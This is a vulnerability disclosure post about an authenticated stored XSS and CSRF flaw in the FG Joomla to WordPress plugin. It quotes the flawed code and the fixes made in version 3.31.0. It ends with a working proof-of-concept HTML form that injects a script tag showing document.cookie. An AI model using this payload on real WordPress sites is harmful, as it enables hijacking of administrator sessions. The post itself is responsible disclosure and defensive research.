24 Aug

Authenticated Persistent Cross-Site Scripting (XSS) Vulnerability in FG Joomla to WordPress

While looking into an unrelated issue with the plugin FG Joomla to WordPress, we found that it contained an authenticated cross-site scripting (XSS) vulnerability.

The plugin has a number of actions that are run through the function ajax_importer(), which is accessed through WordPress’ AJAX functionality and is accessible to anyone logged in to WordPress (/includes/class-fg-joomla-to-wordpress.php):

184
$this->loader->add_action( 'wp_ajax_fgj2wp_import', $plugin_admin, 'ajax_importer' );

The function ajax_importer() located in the file /admin/class-fg-joomla-to-wordpress-admin.php didn’t do any capabilities check. For most actions that function passes the action request to the function dispatch():

228
$result = $this->dispatch($action);

In the function dispatch(), also located in the file /admin/class-fg-joomla-to-wordpress-admin.php, most of the actions check for a valid nonce, so under normal circumstances only Administrators could access them. One of the exceptions was saving the plugin’s settings:

307
308
309
310
311
// Save database options
case 'save':
	$this->save_plugin_options();
	$this->display_admin_notice(__('Settings saved', 'fg-joomla-to-wordpress'));
	break;

In addition, for other actions the saving of the settings also occurs and it occurred before the nonce check:

313
314
315
316
317
318
// Test the database connection
case 'test_database':
	// Save database options
	$this->save_plugin_options();
 
	if ( check_admin_referer( 'parameters_form', 'fgj2wp_nonce' ) ) { // Security check

The lack of a nonce check would also allow for cross-site request forgery (CSRF) to occur.

Before the settings are saved there is validation done, but for the “url” setting the sanitization done doesn’t prevent cross-site scripting (XSS):

937
$url = filter_input(INPUT_POST, 'url', FILTER_SANITIZE_URL);

Using FILTER_SANITIZE_URL will:

Remove all characters except letters, digits and $-_.+!*'(),{}|\\^~[]`<>#%”;/?:@&=.

That leaves the characters needed for cross-site scripting.

After we notified the developer of the issue they fixed each of the issues in version 3.31.0 .

They added a capabilities check:

211
212
213
public function ajax_importer() {
	$current_user = wp_get_current_user();
	if ( !empty($current_user) && $current_user->has_cap('import') ) {

They added a check for a valid nonce when using the save action (as well moving the saving of settings for other actions after the nonce check):

311
312
313
case 'save':
	if ( check_admin_referer( 'parameters_form', 'fgj2wp_nonce' ) ) { // Security check
		$this->save_plugin_options();

And added passing the “url” setting through the esc_url() function:

944
$url = esc_url(filter_input(INPUT_POST, 'url', FILTER_SANITIZE_URL));

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?import=fgj2wp, when submitted while logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="fgj2wp_import" />
<input type="hidden" name="plugin_action" value="save" />
<input type="hidden" name="url" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • August 23, 2017 – Developer notified.
  • August 23, 2017 – Developer responds.
  • August 24, 2017 – Version 3.31.0, which fixes the vulnerability.

Concerned About The Security of the Plugins You Use?

To make sure a plugin you are using or considering using has been properly secured you get a complete security review of it from us.

2 thoughts on “Authenticated Persistent Cross-Site Scripting (XSS) Vulnerability in FG Joomla to WordPress

Leave a Reply

Your email address will not be published. Required fields are marked *